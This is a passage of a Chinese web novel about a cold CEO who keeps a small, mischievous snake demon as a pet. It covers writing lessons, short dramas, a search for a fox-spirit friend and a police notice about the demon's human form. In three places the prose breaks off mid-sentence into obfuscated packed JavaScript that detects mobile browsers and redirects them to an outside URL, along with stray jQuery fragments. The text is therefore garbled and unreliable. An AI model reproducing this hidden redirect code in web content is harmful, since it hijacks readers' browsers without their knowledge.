乔昭没有用早餐的习惯,小时候是条件不允许,回到乔家之后则是因为早上没有饥饿感,宁愿把时间用到学习或者工作上。 但蛇妖到来以后,因为要喂蛇,他的三餐倒是规律了起来。 看看时间现在也是吃早餐的时候了。 乔昭伸手给青色小蛇,准备带他下楼吃饭,但青色小蛇却并没有动弹,琥珀色的蛇瞳还是定定地看着他。 乔昭怔了一下:“怎么了?” 青玉竹又“嘶嘶”了一声才想起来饲主听不懂,不由得用尾巴挠头,冥思苦想了一阵才想到一个好办法。 他原地转了一个圈,费劲巴拉地伸直尾巴,在桌面画画。 可惜桌面无痕,他什么都没留下。 但乔昭经过几天的细心观察,已经能大致猜出他的意思:“你有话要问我?” 青色小蛇尾巴一顿,点了点头。 “那我带你去书房。”乔昭再次伸手给他,这次青色小蛇很快爬了上来。 乔昭捧着蛇到了书房,文房四宝都已经收了起来,桌面上只有几只不会漏墨的中性笔。 乔昭把青色小蛇放到书桌上,从一旁的柜子里拿出一只随身速记笔——这种主打便携的笔长度只有正常大小一半还少,刚好适合蛇妖,他不借助支撑就能用尾巴卷住。 乔昭实在不想再看到一个“H”在自己桌子上摇晃了。 青玉竹收到这只小小的笔,尾巴刚好卷住,既不耽误他使用,又不会很沉重。 他忍不住放下笔用尾巴拍拍饲主放在桌面的手。 蛇很喜欢哦! 乔昭手上冰凉触感一闪而过,他犹豫了一下,屏息伸手,轻轻点了点青色小蛇的脑袋。 触感冰润。 青玉竹吐了吐蛇信,拱了拱他的手指,重新卷住速记笔,看样子真的打算写字。 乔昭从莫名的触动中醒来,忍不住发出灵魂疑问:“你会写字了?” 昨天蛇妖不是一直在看短剧吗?他学了有三十个字吗? 青玉竹当然不会写,昨天他满打满算就学了二十个字,而且现在起码又忘了一半,虽然看剧过程中又学了几个字,但是他跟它们还不熟,看到能认识但自己写不出来。 但是不会写字又不代表不能说话。 青色小蛇信心十足地卷笔,开始在纸上“写字”。 11. 蛇的安慰 青色小蛇很快写完了自己的字,非常自信放下笔,用尾巴地把纸张推到了乔昭面前。 乔昭拿起来一看,只见纸上画了几个图案: “丨x口○” “口”比其他三个图案都高一截,而最后一个圈则是实心的。 乔昭:“……?” 乔总看了半天,愣没看懂蛇妖想表达什么,素来没什么表情的脸上露出一个相当明显的困惑表情。 明显到青玉竹都看出来了。 青色小蛇立起身体,尾巴拍的啪啪作响,也很困惑。 这明明画的非常明显,饲主怎么会看不懂呢?! 好笨! 他费劲吧啦地开始比划,全身都参与了进来,一条蛇在乔昭面前扭来扭去。 乔昭:“……” 他不得不拿出高中时参加奥数比赛的劲头,认真分析蛇妖的一举一动,并时不时给出猜测。 “要出门?” “不要方形的玩具?还是要方形的玩具?” “X的意思是有什么不满意吗?” “想要小球?是小球吗?” “……” 在越来越艰难的比划和沟通后,乔昭终于弄明白了青色小蛇的意思。 纸张上“丨”的方向指向自己,所以代表“你”,“X”代表“不”,“口”比“丨”和“○”都高出许多,代表“高”,实心圈圈则是星星的意向,代表同音字“兴”。 这四个图案合起来就是蛇妖想问他的问题:“你不高兴?” 见饲主终于猜对了,青玉竹连连点头,累得原地瘫成一根面条。 乔昭一时语塞:“……” 他甚至来不及感动蛇妖对他的关心,首先涌上心头的是发自灵魂的声音:这谁想得到?! 就这抽象画风,没有蛇妖的亲自解释,换个人怕是猜到天荒地老都猜不出来。 乔昭不由自主地揉了揉眉心,上午因为冯女士而沉郁的心情此时只剩下了满心的无语和想笑。 青色小蛇很坚定地看着自己的饲主,蛇尾在抽象的四个图案上拍拍,整条蛇都很严肃认真地等待回答。 乔昭心头的笑意逐渐消失,另外一种难言的情绪在心间缓缓流淌,他一时竟然觉得喉头有些堵,以至于难以回答。 过了半晌,他才平静至极的开口:“……我没事。” 他和冯女士的关系这么多年也没能梳理调和出一个结果,又为什么要牵连一条盘起来才巴掌大小的小蛇? 青玉竹对这个答案很不满意,他觉得自己应该像狐狸姐姐说的那样,为饲主排忧解难,做好一个灵宠的本分。 但问题是,狐狸姐姐传授的排忧解难的具体方法是随机应变……那现在要怎么变? 青色小蛇认真思考,然后逐渐呆滞。 坏了,他不会啊! 然后一根手指轻轻地摸了摸他的头。 青玉竹从呆滞中回神,抬头看着自己的饲主,惊讶地发现饲主嘴角竟然扬起了一个细微的弧度。 这点微小的笑意连带着他的整个五官都舒展一些,显出一种蛇也能看懂的英俊来,那股挥之不去的乌云也悄然散开了。 咦? 青色小蛇吐着蛇信子,不明所以。 但乔昭已经起身:“时间不早,该吃早餐了。” 说完,他第一次主动伸手,用两根手指将还在桌上发呆的小蛇捡了起来,犹豫了一会儿后,还是将他放在了另一只手的掌心。 青玉竹稀里糊涂地换了个位置,更加茫然。 怎么感觉他好像已经把饲主哄好了?可他什么都没做啊? 又过了一会儿,青玉竹已经感受到了楼下传来的食物的香味,他突然福至心灵,想到了曾经听过的一句话:善战者无赫赫之功,意思就是虽然做了很大功绩但别人都看不出来。 这说的不就是他吗? 虽然不知道做了什么但反正把饲主哄好了,简直是灵宠里独一份的天才! 青玉竹美滋滋地从交通工具上下来,直奔喷香鲜嫩的烤鸭肉。 一口咽下鲜香的鸭肉,青玉竹由衷觉得自己攒够化形的法力后一定要告诉饲主的厨师:虽然你不喜欢蛇,但没关系,蛇很喜欢你! 乔昭还不知道蛇妖正在计划着跟厨师(的手艺)告白,端着自己的那份三明治慢条斯理地切着,吃一小块,就看一眼那边的青色小蛇。 蛇妖每次吃东西都一副饿死鬼投胎的样子,吃得又快又多还特别香。 乔昭看他吃饭自己都会不自觉多吃一点。 只是他一直有个疑问,蛇妖一个成精的妖怪,为什么会是一副饿了很久的样子,妖界这么不好混吗? 只是这个念头刚起,乔昭又想到了蛇妖化身“H”写字、在钢笔上打死结、打不过(?)扫地机器人、试图伪装电线卡进理线器、半夜偷手机看弱智短剧…… 这么一想他在妖界混不好貌似也挺正常的。 不知道钱锐那里会不会有蛇妖来历的新消息。 三天前钱锐见完玄光寺的住持,结论是住持让他相信科学少看小说,把钱锐气得够呛,叫嚣着“骗人的和尚”被保安“请”出了院门。 受此大辱,钱公子的心态从“帮好兄弟一个忙”变成了“老子要找回场子”,非常积极地扩展玄学人脉去了,倒让钱爸和钱老爷子惊喜非常,觉得自家投入唯物主义怀抱的不肖子孙终于改正归邪了。 乔昭对此只能扶额,除了交代钱锐小心安全之外也管不住这大少爷。 “嘶嘶。”青玉竹用比平常快了一倍的速度吃下早餐,克服着爬行时的沉重到了饲主面前,非常期待地看着饲主的手机,又用尾巴指了指还放在玻璃缸里的新手机,“嘶嘶!” 乔昭回神,研究了一下他的动作——经历了抽象版“你不高兴”你画我猜的磨难,他很快明白了蛇妖的意思:“你想接着看短剧?” 咦?短剧是什么,那个姑娘的人生吗? 青玉竹不由得歪了歪头。 乔昭竟然诡异地看懂了他的疑惑,顺嘴解释一句:“昨天看你的视频就是短剧,是一种……戏剧表演?我这么说你能明白吗?” 戏剧?表演?青玉竹琢磨了一下这个词语,突然恍然大悟,原来那个姑娘的人生不是真的,而是戏台上唱的戏呀! 怪不得!他之前还在疑惑,明明仙君说过天地法则容不得转世投胎,为什么那姑娘可以二世为人,原来是假的! 青玉竹是知道人间的戏台和戏班子,寒月宫中就有一个妖怪很喜欢看戏,经常溜到人间花钱看戏,没钱了就把自己卖给仙家门派当坐骑,拿到钱就溜回寒月宫赖账——反正没人敢找仙君麻烦。 不过后面他被仙君强制变作原形送给受骗最多的苦主当牛做马去了。 这个妖怪是谁来着……想不起来了。 青玉竹甩甩脑袋,把这件事丢出脑海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007868|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,很期待地看着饲主起身把玻璃缸里的手机拿出来。 虽然是假的,但蛇还是想看那姑娘大杀四方。 乔昭把手机支在蛇妖面前,没着急解锁,反而低头看着青色小蛇:“你每天要先学三节课,才能看短剧,做得到吗?” 话一出口,他不由得顿了顿。 按理说他不应该这么跟蛇妖说话,但对上那双过于清澈的蛇瞳,没忍住就带上了教导的语气。 青玉竹盘成一坨,乖乖点头。 懂的,他都懂的,以前仙君也要他做完功课才能睡觉,但他每次都做着做着就睡着了,之后仙君就不强求他做功课了。 底线嘛,就是一点一点降低的。 乔昭见他点头,竟然有些欣慰,蛇妖现在虽然还是个小文盲,但还是很爱学习的。 一人一蛇愉快地达成了共识。 吩咐小林制作的楼梯和草地观影床都还没做好,乔昭查了半天蛊王的攻略后,终于从家里翻出来一个比较适合给蛇当观影座椅的东西——一小块干净的瓦楞纸。 手机横屏摆放在瓦楞纸坐垫之前。 青玉竹好奇地爬上瓦楞纸,感觉硬硬的不是很舒服,尾巴一甩就把瓦楞纸坐垫扒拉到一边,直接在草地里趴了下来。 乔昭把蛇妖嫌弃的坐垫捡出来扔掉,沉吟片刻,想起蛇妖第一天在沙发抱枕上睡得蛇事不知……于是换了一块柔软毛绒的毛巾,同样剪了一小块递给蛇妖。 青玉竹满意地团吧团吧垫在身下,尾巴摇得很是欢快。 谢谢饲主~ 乔昭不自觉牵了牵嘴角,给小林又去了一条消息,让他往柔软方向做蛇床。 安顿好蛇妖,玻璃缸里的手机已经开始播放AI配音的幼儿识字的视频,眼见蛇妖看的专心致志,乔昭放心离开。 冯女士带来的阴霾几乎已经消散干净,距离徐秘书汇报工作的时间还有很久,他可以上楼先做自己的事情放松一会儿。 半个小时后再来在给蛇妖放短剧。 青玉竹狗狗祟祟地盯着乔昭背影,等饲主的身影消失在二楼,他立刻摆动尾巴退出了识字视频。 饲主刚刚教了他怎么使用手机,这东西比昆仑仙境的各种术法简单多了,青玉竹虽然看不懂那些“诶皮皮”的名字,但他记住了图案,此时速度飞快地点开了短剧APP。 开屏跳出来一张图,但不是青玉竹熟悉的那个姑娘,反而是一群穿着和饲主差不多的男男女女,人类貌似叫这种衣服“西装”。 诶? 青玉竹傻眼了,瞪着眼睛跟这群陌生的男男女女对视——图片没有被威胁到,所以没有消失。 青色小蛇不由自主地挠挠脑袋。 他不知道怎么找到那姑娘,又不能去求助饲主,只好用蛇尾犹犹豫豫地比划,不小心碰到了手机屏幕。 画面立刻跳转,伴随突然响起的乐曲,一条大江奔涌而来,两岸是直入云霄的高楼,道路上铁盒子飞奔不止,紧接着镜头拉近到了江边的高楼里,一个穿着西装的长发女性抱着一个眼熟的薄砖“哒哒哒”地走在窗明几净的房子里。 青玉竹看得一愣一愣的。 房子空间很大,目测比饲主的房子大上很多很多,被隔成了很多奇怪的小格子,穿着西装的男女坐在里面,见到长发女性都恭恭敬敬地叫“乔总”。 乔总?! 青玉竹如同受惊的兔子耳朵,整条蛇陡然竖直了。 12. 偷懒被逮捕 青玉竹目光炯炯地看着屏幕里的“乔总”。 这是饲主的名字! 他听过好几个人这么叫饲主! 她居然和饲主同名同姓,好巧哦! 这个意外的巧合吸引了青玉竹的好奇心,他顿时把复仇姑娘彻底忘了,开始专心致志地看这个“乔总”。 “乔总”在办公室里和前男友争吵,然后又一个男人办公室并加入了争吵,再然后另外一个年轻男人冲进办公室把前两个男人都打了一顿,“乔总”崩溃不已并火速打电话给了第三个男人,第三个男人突兀闪现并以未婚夫之名给了其他三个男人致命一击,于是前三个男人开始嚎叫…… 青玉竹目瞪口呆。 青玉竹满脸疑惑。 青玉竹脑子打结。 青玉竹蛇咬着自己的蛇尾想把自己打结。 看不懂这帮人类想干嘛,人类真是好奇怪啊! “你在看什么?” 青玉竹一惊,差点把自己尾巴尖咬下来,反应过来这声音是谁后顿时原地僵成一根蛇棍。 他战战兢兢地扭头,只见玻璃外出现了饲主的脸——面无表情,眼神迫蛇。 “嘶嘶嘶——”他不知道在说什么的乱叫一通。 幸好饲主现在听不懂他说话。 乔昭确实没听懂,但不妨碍他问问题:“你识字视频看完了?学了哪些字?” 青玉竹继续不知道说什么的“嘶嘶嘶”。 乔昭平静地掏出一张纸和便携速记笔,从侧边小门递给他:“写一下。” 青玉竹表情呆滞:“……” 坏了,根本没学习! 他可怜巴巴地看着饲主——以前仙君见他这样,就会无奈地笑着摇头,容他蒙混过关。 然后他就发现了新饲主和仙君的不同。 他真的好严格! 青玉竹泪眼汪汪地用尾巴抓着笔,费劲地在纸上写字。 由于没有完成学习任务就去看短剧,饲主罚他把今天学的字全部写三遍,而且他学习的地方从自己宽敞的大窝换到了书房的桌上,就在饲主眼皮子底下。 更糟糕的是,他发现新手机被饲主摆弄一通后不听他使唤了! 除了学习写字的视频,其他花花绿绿的图标他都点不开了。 青玉竹只能含恨学习。 歪歪扭扭地把十个字写了一遍,青玉竹放下笔,甩了甩有些酸胀的尾巴,忧愁地叹了一口气。 今天要学三十个字……一个写三遍那就是写九十遍……蛇好累。 他苦大仇深地看着白纸,内心充满了逃跑的冲动并在一不注意的时候进行了实施。 青色小蛇鬼鬼祟祟地往手机支架后面钻,似乎打算从自己的视线里脱离。 乔昭:“……” 他内心不由得升起了一丝从未有过的恶趣味,等青色小蛇自以为没惊动旁人地缩进手机的阴影里后,他把手机连同手机支架一起拿了起来。 朝着桌面边缘逃逸的青色小蛇被当场逮捕,彻底愣住。 乔昭嘴角不自觉地翘了翘,语调温和可亲:“写完了吗?” 青玉竹:“……” 他在饲主的眼神里慢吞吞地把自己舒展成一长条,然后僵硬地一动不动,试图用假死来向面前的人类表示——写九十个字是不可能的!不可能的! 乔昭没忍住笑了起来:“算了,今天到此为止。” 青玉竹保持着假死的姿势,蛇瞳下移,观察着饲主的表情,确认他是认真的以后,立刻原地复活,翻身而起,眼睛贼亮地看着饲主。 他就知道!底线都是这么放低的! 乔昭关掉手机的青少年模式,把手机连同蛇妖一起送到了楼下的饲养箱里。 青玉竹回到熟悉的窝里,为自己逃过一劫而快乐地爬来爬去,就在此时,饲主的声音响起,如同恶魔低语:“以后每天写十个,直到写完剩下的八十个。” 青玉竹动作一僵,不可置信地看着他。 饲主轻轻一笑:“如果明天学习还偷懒,那就继续叠加。” 青玉竹:“……” 青色小蛇愤怒地拍尾巴! 下次我见到仙君一定要跟他告状,你对蛇一点都不好! 欺负完蛇妖,乔昭神清气爽地帮他调出方才的短剧,依然放在昨天的位置上,语调轻松:“好了,你去玩儿吧。” 青玉竹气呼呼地爬到了手机面前,气呼呼地开始看剧。 屏幕上播放的还是方才的四男一女,现在他们齐齐换到了另外一个地方,身穿藏蓝色衣服的官差正在询问他们。 这个我知道! 青玉竹精神一振。 藏蓝衣服的人类就是警察,和以前狐狸姐姐说过的衙役有些像,青玉竹刚刚进入人类的城镇时,就是被面馆老板送给了警察。 青玉竹至今没想明白面馆老板为什么要把他送给警察。 按照狐狸姐姐的说法,进衙门的人没犯事会被打一顿板子丢出去,犯事就会被押入大牢抽筋扒皮。 他不想挨板子,所以毫不犹豫地跑了,于是现在看得异常认真,很想知道被警察带走后会发生什么。 然后他就发现警察把几人训了一顿后就让他们走了,四男一女离开后又在门口开始“她不爱你她爱的是我放屁她爱的明明是我的”争论。 青玉竹:“……” 他失望至极。 警察为什么不打他们板子? 真没意思! 他正打算划拉屏幕,这时屏幕上又出现了新的人物。 一个风情万种的女人从一张黑色的车上下来,另外一个高大的男人为她撑着一把蓝色的伞。 女人姿态婀娜地走到四男一女身边,用娇媚动听的声音说了一长串青玉竹没怎么听懂的话后,把四个男人中最英俊的那个拉走了。 青玉竹猛然抻直了身体。 这个女人!这个女人!! …… 乔昭在书房里把笔墨纸砚重新铺上,静心练字。 书法是他幼时被冯女士安排学习的技能之一,他曾经深恶痛绝,可随着时间推移,这反而成了他最常用的放松方式。 如果不是突如其来的蛇妖祸祸了一通,笔墨纸砚大概会在书桌上一直摆放。 不过没关系,今天也算是报复回去了。 乔昭想起青色小蛇气呼呼但要看短剧的模样,把莫名涌上的笑意咽回去,沉心练字。 刚刚写完一张,纸上突兀地刷新了一条小蛇。 蛇妖不知道什么时候又跑上了书房,蛇身碾过还没干透的墨痕,把他刚刚写好的一张字弄得乱七八糟。 乔昭惊了一下……蛇妖居然还会报复? 而且报复方式还这么朴实无华…… 但他很快发现了不对劲,蛇妖不像是冲着他刚写好的字来的,反而像是遇到了什么麻烦。 他在纸上焦急而徒劳地转着圈圈,留下一团又一团墨迹,口中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007869|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嘶嘶”声不断,整条蛇都在比比划划。 乔昭不得不先安抚他:“不要着急……先冷静。” 他一手按住青色小蛇的尾巴不让他动,一手轻轻摸了摸扁扁的蛇脑袋。 蛇妖在他的安抚下缓慢平静了下来,脑袋枕在他一根手指上,细小的蛇信吐了吐,莫名有些可怜。 “出什么事了?”乔昭问道。 他声音一贯偏冷,此时放缓了语气也不见得柔和,但声如碎冰,反而让青玉竹过载的脑子冷静下来。 他卷起自己的笔,在纸上画着只有自己看得懂的图案,然后认真地看着自己的新饲主:“嘶嘶嘶……” 蛇想请你帮忙。 经过又一番抽象的你画我猜后,乔昭带着蛇妖回到了客厅,从饲养箱中把手机拿了出来,屏幕暂停在风情万种的女人回眸一笑上。 “你想让我看的就是这个女人?”乔昭不自觉地皱了皱眉,不动声色地扫过蛇妖。 他一瞬间想到了很多吸□□气的志怪传说和都市异闻。 虽然蛇妖一贯的表现以及对待学习的怠惰态度让人觉得他的脑子很平滑,但脑子平滑不代表完全没有危险,鬼知道吸人精气这种东西是不是妖怪的本能。 但念及蛇妖最近的陪伴和今早的慰问,乔昭还是把滑向负面的猜测给拽了回来。 他看了一眼蛇妖:“你想找她?为什么?” 青玉竹认真嘶嘶。 她是我的朋友! 是狐狸姐姐! 狐狸姐姐是九尾天狐,和纯白如雪的同族不同,她有一身赤红如火的皮毛,这让她在族中格格不入,最终脱离青丘而去,在世间游荡近千年后拜入寒月宫门下。 她有千张面孔,青玉竹说不准哪一张才是她的人形,可眼角的泪痣和那种勾人心魄的神态动作他却十分熟悉。 因而看见她的第一眼他就认出来了。 狐狸姐姐还在!那是不是说明寒月宫也还在,仙君也还在! 这个想法让他激动不已,来不及多想就爬上楼找饲主帮忙。 短剧是这个世界的戏班子,虽然不知道狐狸姐姐为什么会混入戏班子,但戏班子是要接待客人的,所以身为人类的饲主是有可能帮他找到狐狸姐姐的。 青玉竹眼巴巴地看着饲主。 乔昭开了三倍速快速浏览过短剧的前因后果,被弱智剧情跳脸一分钟后终于搞明白了这个女人在剧中的名字,又根据演职人员表得知了她的名字——洛茵。 “洛茵。”他轻声念出这个名字,看向青色小蛇,“就是她吗?” 青玉竹一呆。 坏了,他也不知道啊! 寒月宫众妖彼此之间都是以特征加种属称呼,比如他就是“小青蛇”,蠢狗是“小白狼”,狐狸姐姐自然就是“火狐狸”。 他虽然知道狐狸姐姐有名字,但众妖来历各异,除非自己愿意,否则不问来处也是寒月宫的默认规矩之一,所以他还真是不知道狐狸姐姐的名字叫什么。 青色小蛇无辜地跟饲主对视。 乔昭发挥了诡异的读心功能:“你也不知道?” 青玉竹点头。 乔昭:“……” 你真的不是看中了这个女人想要吸□□气? 但想归想,他还是点开了短剧的出品方,想要看看自己能不能联系上对方老板。 “出品方:龙鼎影业”。 乔昭眉头一挑。 这可真巧。 13. 寻人启事 乔昭简略跟蛇妖介绍了一下龙鼎集团,然后道:“下周末他们有一个慈善晚宴,这个女人可能也会出场。” 青玉竹吐了吐蛇信,蛇瞳圆滚滚的充满期待。 真的吗? 乔昭微微颔首。 与其说可能,不如说一定。 龙鼎集团这些年进军娱乐圈,把当初经营KTV等娱乐场所的毛病一并带了过去,靠砸钱发展了几年后,龙鼎那些不对外公开的活动里总会有类似“选妃”的环节。 短剧上的女人虽然面容只能算清秀,但举手投足间丝毫不做作的媚态却很是难得,而下周末的慈善晚宴又不对外公开。 所以不出意外的话,她一定会被安排到候选人里。 乔昭有些犹豫地看着蛇妖。 青色小蛇琥珀色的蛇瞳圆滚滚的,透着股不谙世事的清澈(和没脑子)。 真要把蛇妖带过去?那总有种带坏小傻子的负罪感。 可如果不带,他也不知道蛇妖找这个女人要干嘛……难道直接跟人家说,我家的宠物蛇要找你? 怕不是会被当成神经病。 乔昭忍不住按了按眉心,有点头疼。 青玉竹还是很期待地看着自己的饲主,能不能带我去见她? 狐狸姐姐也是妖怪,所以肯定也会受到天地法则的压制,她是怎么保持住人形的?她有没有见过仙君?知不知道蠢狗在哪里?寒月宫其他妖在不在? 青玉竹有很多问题想要问她。 乔昭在蛇妖的注视下沉思半天,最终妥协:“下周带你过去。” 也不知道宴会能不能带宠物。 虽然想也知道不可以——这种名利场宴会谁会想着带宠物,而且还是蛇这种小众动物。 乔昭没忍住又按了按眉心,看了一眼因为他答应而在草地上转圈圈摇尾巴的蛇妖,内心充满无奈。 算了,小问题而已,也不是不能解决。 距离慈善晚宴还有一个星期的时间,徐秘书满头雾水地和龙鼎集团的工作人员接洽去了,对方也一头雾水地向上请示,反馈需要时间,乔昭暂且把这件事放下了,转而处理另外一件事。 小林助理效率颇高地把蛇妖的楼梯和观影床一起送了过来。 乔昭提前把小林上门的事情告诉了蛇妖,同时敲打小林不要一惊一乍吓到怕生的小蛇。 小林助理看在高薪的面子上忍住了对老板不当人的吐槽。 我也怕蛇啊混蛋资本家! 到底谁吓谁! 由于乔昭的事先准备,小林助理和青玉竹的第一次双边近距离会面还算愉快,小林保持着职业微笑在饲养箱旁安装最新定制的楼梯和观影小床。 青玉竹就盘在假山最高处警惕地打量着陌生(但和饲主很熟)的人类。 小林一边干活一边观察着老板的蛇宠。 忍住发麻的头皮多看了几眼,倒是很容易就发现了不同——宠物蛇原来这么好看?看上去跟块玉似的,还有点诡异的可爱。 小林突然理解了老板花大价钱做饲养箱还补充周边的心态,养了好看的宠物就是容易变成冤大头。 很快,楼梯和蛇床都安装好了。 楼梯做成了藤蔓的样子,和绿意盎然的玻璃饲养箱相得映彰,青色小蛇可以盘旋而下,安全性提高不少,虽然刚装上两分钟乔昭就发现考虑安全性是多此一举。 蛇妖宁愿跳楼也不老实下楼梯。 小林助理在发现青色小蛇想要出门的时候就不动声色地退后了一步。 再漂亮那也是一条蛇……虽然这条蛇看上去很小很漂亮,一脚就能踩死的样子——但众所周知蟑螂也能一脚踩死,但不妨碍有人害怕。 小林看着那条蛇从玻璃饲养箱里直接一跃而下,拍在地上后甩了甩脑袋,这才慢条斯理地顺着藤蔓爬回去,眼神不由自主地飘向了自己的老板。 乔总这么正经一人养的宠物怎么这么抽象。 蛇床为了和整体布景相适,所以做成了莲花的模样,只是为了尽可能做得柔软,莲花床的花瓣圆嘟嘟的,正前方为了不挡视线还缺了一瓣,老实说和仙气不怎么沾边,只能勉强认为好歹都是中式元素,和布景画风一致。 然后好不容易爬回饲养箱的青色小蛇悠然自得地在莲花中央盘成一坨便便。 小林:“……” 他眼神微妙地看着自己老板。 太奇怪了老板,真的太奇怪了! 乔昭对他的眼神视若无睹:“辛苦了,还有其他事吗?” 没事赶紧滚。 小林讪笑一声,收起想要继续观察的想法,拿起自己的包准备收拾东西离开,一张没装好的纸从包里滑落出来,掉到了地上。 乔昭随手捡起,漫不经心地看了一眼,顿时瞳孔一缩。 这是一张寻人启事,上面有一张模糊的照片,虽然不甚清楚,但飘扬的衣袖和长发,以及那张垃圾像素也掩盖不住的昳丽面容,不是蛇妖又是谁! 乔昭一瞬间绷紧了神经。 谁在找蛇妖?找他干什么?会不会影响到自己? 乔昭不动声色地扬了扬手中的纸:“这是什么?” 小林这才发现东西掉了,愣了一下才反应过来:“这个,哦,这是我女朋友前几天在滨江公园玩时,从警察那里拿到的。” 乔昭不自觉地露出一个倾听的表情。 小林解释道:“滨江派出所的民警说,这是在他们辖区失踪的一个老年痴呆患者。据说是病的挺严重的,所以发了寻人启事希望群众能提供线索。” 老年痴呆? 乔昭嘴角忍不住一抽……蛇妖没常识是真的,但老年痴呆是不是过分了? 小林见老板似乎有点好奇,生活助理职业素养上线,把自己知道的情况和盘托出:“说是最先发现他的是滨江大道上一家面馆的老板,这人长相穿着都很贵气,还拿了一块一看就特别贵的玉换面吃,老板问了几句,发现他说话都不太连贯,一些基本常识更是一点不知道,就担心他是脑子有问题又和家人意外走散了,于是就报了警,结果警察带他回派出所的路上不知道怎么让他跑了,警方担心他一个人被骗,所以就发寻人启事找人。” 说着说着小林表情变得有点古怪:“我女朋友觉得他长得太好看了就接了,寻思着万一见到呢……乔总您……认识他?” “不认识。”乔昭不动声色地摇摇头,“就是有点好奇。” 好奇? 小林一时间有点怀疑老板有没有这种情绪,但徐秘书之前的话涌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007870|194099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心头,他把多余的话咽到了肚子里,老板说好奇那就好奇吧。 “那……这个您要留着吗?”小林指了指乔昭手中的纸。 乔昭把寻人启事底部联系人的电话记住,然后把寻人启事递回给小林:“你带走吧。” “好的。”小林随意折了一下放在包里,“乔总,我先告辞了。” 乔昭颔首,目送他离开后,才把视线转向饲养箱。 蛇妖盘在胖莲花的中央,专心致志地看着短剧,支棱起来的上半身随着打来打去的剧情左右摇摆,丝毫没注意刚刚自己和小林的对话,非常无忧无虑没心没肺。 他知道警察在找他吗? 小林说他是去派出所路上跑走的,那沿路的监控记录下他的行踪了吗? 滨江派出所距离别墅少说有十几公里,中间至少上千个摄像头,他能消除自己全部的痕迹吗? 以蛇妖的文盲程度,大概率连监控摄像头是什么都不知道,所以他的踪迹极有可能已经暴露在警方眼前了。 就是不知道蛇妖有没有当着监控化形……如果他这样做了,那他进入了官方视野……会给他、给自己带来什么? 乔昭看着聚精会神的青色小蛇,忧虑丛生。 …… 千里之外的京城海晏区。 一个中年男人拿着一个文件夹匆匆走进一座不甚起眼的四合院,和沿路的同事打过招呼后径直走向了最里面的办公室。 “爷……局长,虞城的消息。”他看着桌子后不怒自威的老人,差点把“爷爷”两字秃噜出来,幸好改口的快,才只是挨了老爷子一个白眼。 老人缓声问:“是什么事?” 中年男人翻开文件夹,先递给老人一张纸,又把里面夹着的关盘放进电脑:“这是虞城滨江派出所传过来的监控视频,他们发现了一只蛇妖。” “蛇妖?”老人拿着纸的手微不可见地一抖。 中年男人没有发现,径直道:“对,蛇妖,您看,这是滨江公园摄像头记录下来的。” 摄像头安装在滨江公园的一棵树上,正对着公园里的一条无人的幽静小道。 两秒后,一个衣袂飘飘的身影闯了进来,他走得很急,但丝毫不显狼狈,反而因为飞扬起来的宽袍大袖有了一种凭虚御风的感觉。 走到一半的时候,他左右看了看,见四周无人便在摄像头的注视下变成了一条细长的青色小蛇,游走进路边的灌木丛后不见了踪影。 中年男人等待视频放完后,才看向一旁的老人:“根据虞城的消息,这位对人间之事一窍不通还被一个普通人当做了老年痴呆,极有可能是最近才苏醒的妖怪,我已经按照流程通知了虞城那边停止追踪,由我们全面接手。” “找到他了吗?”老人目光注视着反复播放的监控视频,问道。 “还没,他脱离监控后就再没有化过形,找人容易找蛇就太难了。”中年男人摇了摇头,顿了顿又道,“目前这只蛇妖的实力暂不清楚,但以人形的美艳程度来说,恐怕实力不低,您看是否需要请求上面的帮助?” 老人定定地看着屏幕上的青色小蛇:“不用了,你准备一下,我亲自过去。” 中年男人先是一愣,反应过来后顿时大惊失色:“什么?!” 14.灵宠的自我修养 太阳西落东升,新的一天又开始了。 青玉竹一大早就被饲主抓到了书房里学习认字,整只蛇迷糊糊地跟随视频变换姿势,试图用自己一笔画成一个“长”字。 乔昭无语地按住他,避免蛇妖又一次把自己打结。 青玉竹在饲主的手指镇压下安静了。 十几秒后,他又开始扭来扭去,卷着自己的笔装模作样地挥舞,课是不听的,字是不学的,但笔是要乱涂乱画的。 乔昭:“……” 他沉默地看着自己摆放在一旁的文件上多了好几道意味不明的黑痕,最嚣张的一笔甚至盖住一行字。 青玉竹把笔往旁边推了推,专心致志地看手机,假装自己没发现饲主迫蛇的眼神。 看蛇做什么,又不是蛇画的! 乔昭气笑了,伸手弹了一下扁扁的蛇脑袋,青色小蛇被他弹翻在桌面上,扭了扭直起身体冲他哈气,尾巴拍得震天响。 乔总丝毫没有欺负蛇的负罪感,淡定地吩咐徐秘书重新送备份文件过来。 徐秘书委婉询问顶头上司最近是不是遇到了什么麻烦,为什么总是需要备份文件。 乔昭面无表情地告诉他是因为家里养了狗。 